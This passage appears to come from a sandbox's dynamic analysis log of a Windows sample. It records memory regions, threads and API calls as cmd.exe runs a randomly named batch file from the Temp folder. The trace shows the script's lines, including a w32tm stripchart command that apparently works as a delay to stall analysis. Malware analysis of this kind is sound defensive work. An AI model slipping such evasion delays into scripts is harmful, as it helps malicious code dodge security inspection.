"\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\d1da4b8a843ec63bb8be25f8202bedc1\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\d1da4b8a843ec63bb8be25f8202bedc1\\system.core.ni.dll") Region: id = 10503 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 10504 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 10525 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 10526 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 10527 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 10528 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 10570 start_va = 0x1b0a0000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0a0000" filename = "" Region: id = 10584 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Thread: id = 207 os_tid = 0xc14 [0241.349] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0261.677] RoInitialize () returned 0x1 [0261.678] RoUninitialize () returned 0x0 Thread: id = 213 os_tid = 0xcec Thread: id = 285 os_tid = 0x1278 Thread: id = 308 os_tid = 0xdf0 [0261.811] CoGetContextToken (in: pToken=0x1aa5f650 | out: pToken=0x1aa5f650) returned 0x800401f0 [0261.811] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0261.811] RoInitialize () returned 0x1 [0261.811] RoUninitialize () returned 0x0 Thread: id = 347 os_tid = 0xfbc Thread: id = 351 os_tid = 0xfec Thread: id = 367 os_tid = 0x11a0 Process: id = "37" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x31d82000" os_pid = "0xc34" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xd70" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C \"C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3975 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3976 start_va = 0xb5dfe00000 end_va = 0xb5dfffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b5dfe00000" filename = "" Region: id = 3977 start_va = 0xb5e0000000 end_va = 0xb5e00fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b5e0000000" filename = "" Region: id = 3978 start_va = 0x1b7091a0000 end_va = 0x1b7091bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b7091a0000" filename = "" Region: id = 3979 start_va = 0x1b7091c0000 end_va = 0x1b7091d4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b7091c0000" filename = "" Region: id = 3980 start_va = 0x1b7091e0000 end_va = 0x1b7091e3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b7091e0000" filename = "" Region: id = 3981 start_va = 0x1b7091f0000 end_va = 0x1b7091f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b7091f0000" filename = "" Region: id = 3982 start_va = 0x1b709200000 end_va = 0x1b709201fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b709200000" filename = "" Region: id = 3983 start_va = 0x7df5ffe50000 end_va = 0x7ff5ffe4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffe50000" filename = "" Region: id = 3984 start_va = 0x7ff741960000 end_va = 0x7ff741982fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff741960000" filename = "" Region: id = 3985 start_va = 0x7ff7428c0000 end_va = 0x7ff742919fff monitored = 1 entry_point = 0x7ff7428d53f0 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 3986 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4006 start_va = 0x1b709210000 end_va = 0x1b70945ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b709210000" filename = "" Region: id = 4007 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4008 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4009 start_va = 0x1b7091a0000 end_va = 0x1b7091affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b7091a0000" filename = "" Region: id = 4010 start_va = 0x7ff741860000 end_va = 0x7ff74195ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff741860000" filename = "" Region: id = 4011 start_va = 0x1b709210000 end_va = 0x1b7092cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4012 start_va = 0x1b709360000 end_va = 0x1b70945ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b709360000" filename = "" Region: id = 4097 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4098 start_va = 0xb5e0100000 end_va = 0xb5e01fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b5e0100000" filename = "" Region: id = 4099 start_va = 0x1b7092d0000 end_va = 0x1b70933ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b7092d0000" filename = "" Region: id = 4100 start_va = 0x1b7091b0000 end_va = 0x1b7091b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b7091b0000" filename = "" Region: id = 4101 start_va = 0x1b7092d0000 end_va = 0x1b7092d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b7092d0000" filename = "" Region: id = 4102 start_va = 0x1b709330000 end_va = 0x1b70933ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b709330000" filename = "" Region: id = 4103 start_va = 0x7ffa74a30000 end_va = 0x7ffa74a39fff monitored = 0 entry_point = 0x7ffa74a314a0 region_type = mapped_file name = "cmdext.dll" filename = "\\Windows\\System32\\cmdext.dll" (normalized: "c:\\windows\\system32\\cmdext.dll") Region: id = 4104 start_va = 0x7ffa7bdd0000 end_va = 0x7ffa7be76fff monitored = 0 entry_point = 0x7ffa7bde58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4105 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4106 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4107 start_va = 0x1b7092e0000 end_va = 0x1b7092effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b7092e0000" filename = "" Region: id = 4108 start_va = 0x1b709460000 end_va = 0x1b709796fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4382 start_va = 0x7ffa76220000 end_va = 0x7ffa76298fff monitored = 0 entry_point = 0x7ffa7623fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 4383 start_va = 0x7ff7417e0000 end_va = 0x7ff74185dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 4469 start_va = 0x1b7092f0000 end_va = 0x1b709310fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Thread: id = 197 os_tid = 0xc38 [0132.943] GetProcAddress (hModule=0x7ffa7a9a0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffa78a06e50 [0132.943] GetProcessHeap () returned 0x1b709360000 [0132.943] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x4012) returned 0x1b70936b1a0 [0132.943] GetProcessHeap () returned 0x1b709360000 [0132.945] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b70936b1a0) returned 1 [0132.949] _wcsicmp (_String1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat", _String2=")") returned 58 [0132.950] _wcsicmp (_String1="FOR", _String2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat") returned 3 [0132.950] _wcsicmp (_String1="FOR/?", _String2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat") returned 3 [0132.950] _wcsicmp (_String1="IF", _String2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat") returned 6 [0132.950] _wcsicmp (_String1="IF/?", _String2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat") returned 6 [0132.950] _wcsicmp (_String1="REM", _String2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat") returned 15 [0132.950] _wcsicmp (_String1="REM/?", _String2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat") returned 15 [0132.950] GetProcessHeap () returned 0x1b709360000 [0132.950] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0xb0) returned 0x1b709366330 [0132.950] GetProcessHeap () returned 0x1b709360000 [0132.950] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x80) returned 0x1b7093663f0 [0132.950] GetProcessHeap () returned 0x1b709360000 [0132.950] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x14) returned 0x1b709361290 [0132.951] GetConsoleTitleW (in: lpConsoleTitle=0xb5e00ffaf0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0132.952] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0132.953] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0132.953] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0xb5e00ff680, nVolumeNameSize=0x104, lpVolumeSerialNumber=0xb5e00ff660, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0xb5e00ff660*=0xc287f38, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0132.953] GetProcessHeap () returned 0x1b709360000 [0132.953] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x218) returned 0x1b709366480 [0132.953] GetProcessHeap () returned 0x1b709360000 [0132.953] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x84) returned 0x1b7093666a0 [0132.953] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0132.954] GetProcessHeap () returned 0x1b709360000 [0132.954] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x420) returned 0x1b709367520 [0132.954] SetErrorMode (uMode=0x0) returned 0x0 [0132.954] SetErrorMode (uMode=0x1) returned 0x0 [0132.954] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\.", nBufferLength=0x208, lpBuffer=0x1b709367530, lpFilePart=0xb5e00ff390 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp", lpFilePart=0xb5e00ff390*="Temp") returned 0x28 [0132.954] SetErrorMode (uMode=0x0) returned 0x1 [0132.954] GetProcessHeap () returned 0x1b709360000 [0132.954] RtlReAllocateHeap (Heap=0x1b709360000, Flags=0x0, Ptr=0x1b709367520, Size=0x80) returned 0x1b709367520 [0132.954] GetProcessHeap () returned 0x1b709360000 [0132.954] RtlSizeHeap (HeapHandle=0x1b709360000, Flags=0x0, MemoryPointer=0x1b709367520) returned 0x80 [0132.954] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\.") returned 1 [0132.954] GetProcessHeap () returned 0x1b709360000 [0132.954] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x68) returned 0x1b709366730 [0132.955] GetProcessHeap () returned 0x1b709360000 [0132.955] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0xbc) returned 0x1b7093667a0 [0132.955] GetProcessHeap () returned 0x1b709360000 [0132.955] RtlReAllocateHeap (Heap=0x1b709360000, Flags=0x0, Ptr=0x1b7093667a0, Size=0x68) returned 0x1b7093667a0 [0132.955] GetProcessHeap () returned 0x1b709360000 [0132.955] RtlSizeHeap (HeapHandle=0x1b709360000, Flags=0x0, MemoryPointer=0x1b7093667a0) returned 0x68 [0132.955] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7428f96a0, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0132.955] GetProcessHeap () returned 0x1b709360000 [0132.955] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0xe8) returned 0x1b709366820 [0132.960] GetProcessHeap () returned 0x1b709360000 [0132.960] RtlReAllocateHeap (Heap=0x1b709360000, Flags=0x0, Ptr=0x1b709366820, Size=0x7e) returned 0x1b709366820 [0132.960] GetProcessHeap () returned 0x1b709360000 [0132.960] RtlSizeHeap (HeapHandle=0x1b709360000, Flags=0x0, MemoryPointer=0x1b709366820) returned 0x7e [0132.960] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0132.960] FindFirstFileExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\pbaosmgkvl.bat"), fInfoLevelId=0x1, lpFindFileData=0xb5e00ff110, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb5e00ff110) returned 0x1b7093668b0 [0132.961] GetProcessHeap () returned 0x1b709360000 [0132.961] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x0, Size=0x28) returned 0x1b709366910 [0132.961] FindClose (in: hFindFile=0x1b7093668b0 | out: hFindFile=0x1b7093668b0) returned 1 [0132.961] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0132.961] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0132.961] GetConsoleTitleW (in: lpConsoleTitle=0xb5e00ff670, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0132.964] GetProcessHeap () returned 0x1b709360000 [0132.964] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x1e8) returned 0x1b7093675b0 [0132.964] ApiSetQueryApiSetPresence () returned 0x0 [0132.964] ResolveDelayLoadedAPI () returned 0x7ffa74a31010 [0132.971] SaferWorker () returned 0x0 [0132.993] SetErrorMode (uMode=0x0) returned 0x0 [0132.993] SetErrorMode (uMode=0x1) returned 0x0 [0132.993] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat", nBufferLength=0x104, lpBuffer=0x1b709366490, lpFilePart=0xb5e00ff490 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat", lpFilePart=0xb5e00ff490*="PBAoSMgkVL.bat") returned 0x37 [0132.993] SetErrorMode (uMode=0x0) returned 0x1 [0132.993] GetProcessHeap () returned 0x1b709360000 [0132.993] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x80) returned 0x1b7093777d0 [0132.993] wcsspn (_String=" ", _Control=" \x09") returned 0x1 [0132.993] GetProcessHeap () returned 0x1b709360000 [0132.993] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x12) returned 0x1b7093772d0 [0132.993] GetProcessHeap () returned 0x1b709360000 [0132.993] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x14) returned 0x1b7093772f0 [0132.993] GetProcessHeap () returned 0x1b709360000 [0132.993] RtlReAllocateHeap (Heap=0x1b709360000, Flags=0x0, Ptr=0x1b7093772f0, Size=0x14) returned 0x1b7093773d0 [0132.993] GetProcessHeap () returned 0x1b709360000 [0132.993] RtlSizeHeap (HeapHandle=0x1b709360000, Flags=0x0, MemoryPointer=0x1b7093773d0) returned 0x14 [0132.993] CmdBatNotificationStub () returned 0x0 [0132.993] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\pbaosmgkvl.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xb5e00ff500, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88 [0132.994] _open_osfhandle (_OSFileHandle=0x88, _Flags=8) returned 3 [0132.994] _get_osfhandle (_FileHandle=3) returned 0x88 [0132.994] SetFilePointer (in: hFile=0x88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.994] _get_osfhandle (_FileHandle=3) returned 0x88 [0132.994] SetFilePointer (in: hFile=0x88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.994] ReadFile (in: hFile=0x88, lpBuffer=0x7ff742905b80, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0xb5e00ff4c0, lpOverlapped=0x0 | out: lpBuffer=0x7ff742905b80*, lpNumberOfBytesRead=0xb5e00ff4c0*=0xc6, lpOverlapped=0x0) returned 1 [0132.994] SetFilePointer (in: hFile=0x88, lDistanceToMove=11, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0132.994] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr="@echo off\r\n", cbMultiByte=11, lpWideCharStr=0x7ff7428f09e0, cchWideChar=8191 | out: lpWideCharStr="@echo off\r\n") returned 11 [0132.995] _get_osfhandle (_FileHandle=3) returned 0x88 [0132.995] GetFileType (hFile=0x88) returned 0x1 [0132.995] _get_osfhandle (_FileHandle=3) returned 0x88 [0132.995] SetFilePointer (in: hFile=0x88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0132.995] GetProcessHeap () returned 0x1b709360000 [0132.995] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x4012) returned 0x1b70936b1a0 [0132.995] GetProcessHeap () returned 0x1b709360000 [0132.996] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b70936b1a0) returned 1 [0132.996] GetProcessHeap () returned 0x1b709360000 [0132.996] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0xb0) returned 0x1b7093790d0 [0132.997] _wcsicmp (_String1="echo", _String2=")") returned 60 [0132.997] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0132.997] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0132.997] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0132.997] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0132.997] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0132.997] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0132.997] GetProcessHeap () returned 0x1b709360000 [0132.997] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0xb0) returned 0x1b709379190 [0132.997] GetProcessHeap () returned 0x1b709360000 [0132.997] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x1a) returned 0x1b709367c40 [0132.997] GetProcessHeap () returned 0x1b709360000 [0132.997] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x1a) returned 0x1b709367910 [0132.999] _tell (_FileHandle=3) returned 11 [0132.999] _close (_FileHandle=3) returned 0 [0132.999] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0132.999] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0132.999] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0132.999] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0132.999] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0133.000] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0133.000] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0133.000] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0133.000] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0133.000] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0133.000] GetConsoleTitleW (in: lpConsoleTitle=0xb5e00ff2b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0133.005] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0133.005] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0133.005] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0133.005] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0133.005] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0133.005] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0133.005] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0133.005] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0133.005] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0133.005] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0133.005] GetProcessHeap () returned 0x1b709360000 [0133.005] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x24) returned 0x1b709367a00 [0133.006] GetProcessHeap () returned 0x1b709360000 [0133.006] RtlReAllocateHeap (Heap=0x1b709360000, Flags=0x0, Ptr=0x1b709367a00, Size=0x1a) returned 0x1b709367a30 [0133.006] GetProcessHeap () returned 0x1b709360000 [0133.006] RtlSizeHeap (HeapHandle=0x1b709360000, Flags=0x0, MemoryPointer=0x1b709367a30) returned 0x1a [0133.006] GetProcessHeap () returned 0x1b709360000 [0133.006] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x24) returned 0x1b709367a00 [0133.006] _wcsnicmp (_String1="off", _String2="off", _MaxCount=0x3) returned 0 [0133.006] _get_osfhandle (_FileHandle=1) returned 0x24 [0133.006] SetConsoleMode (hConsoleHandle=0x24, dwMode=0x7) returned 1 [0133.008] _get_osfhandle (_FileHandle=1) returned 0x24 [0133.008] GetConsoleMode (in: hConsoleHandle=0x24, lpMode=0x7ff7428f960c | out: lpMode=0x7ff7428f960c) returned 1 [0133.012] _get_osfhandle (_FileHandle=0) returned 0x20 [0133.012] GetConsoleMode (in: hConsoleHandle=0x20, lpMode=0x7ff7428f9608 | out: lpMode=0x7ff7428f9608) returned 1 [0133.014] SetConsoleInputExeNameW () returned 0x1 [0133.014] GetConsoleOutputCP () returned 0x1b5 [0133.015] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7428f9660 | out: lpCPInfo=0x7ff7428f9660) returned 1 [0133.015] SetThreadUILanguage (LangId=0x0) returned 0x409 [0133.019] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\pbaosmgkvl.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xb5e00ff500, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88 [0133.019] _open_osfhandle (_OSFileHandle=0x88, _Flags=8) returned 3 [0133.019] _get_osfhandle (_FileHandle=3) returned 0x88 [0133.020] SetFilePointer (in: hFile=0x88, lDistanceToMove=11, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0133.020] GetProcessHeap () returned 0x1b709360000 [0133.020] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709367a00) returned 1 [0133.020] GetProcessHeap () returned 0x1b709360000 [0133.020] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709367a30) returned 1 [0133.020] GetProcessHeap () returned 0x1b709360000 [0133.020] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709367910) returned 1 [0133.020] GetProcessHeap () returned 0x1b709360000 [0133.020] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709367c40) returned 1 [0133.020] GetProcessHeap () returned 0x1b709360000 [0133.021] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709379190) returned 1 [0133.021] GetProcessHeap () returned 0x1b709360000 [0133.021] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b7093790d0) returned 1 [0133.022] _get_osfhandle (_FileHandle=3) returned 0x88 [0133.022] SetFilePointer (in: hFile=0x88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0133.022] ReadFile (in: hFile=0x88, lpBuffer=0x7ff742905b80, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0xb5e00ff4c0, lpOverlapped=0x0 | out: lpBuffer=0x7ff742905b80*, lpNumberOfBytesRead=0xb5e00ff4c0*=0xbb, lpOverlapped=0x0) returned 1 [0133.022] SetFilePointer (in: hFile=0x88, lDistanceToMove=88, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x58 [0133.022] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr="w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nul\r\n", cbMultiByte=77, lpWideCharStr=0x7ff7428f09e0, cchWideChar=8191 | out: lpWideCharStr="w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nul\r\n") returned 77 [0133.023] _get_osfhandle (_FileHandle=3) returned 0x88 [0133.023] GetFileType (hFile=0x88) returned 0x1 [0133.023] _get_osfhandle (_FileHandle=3) returned 0x88 [0133.023] SetFilePointer (in: hFile=0x88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x58 [0133.023] GetProcessHeap () returned 0x1b709360000 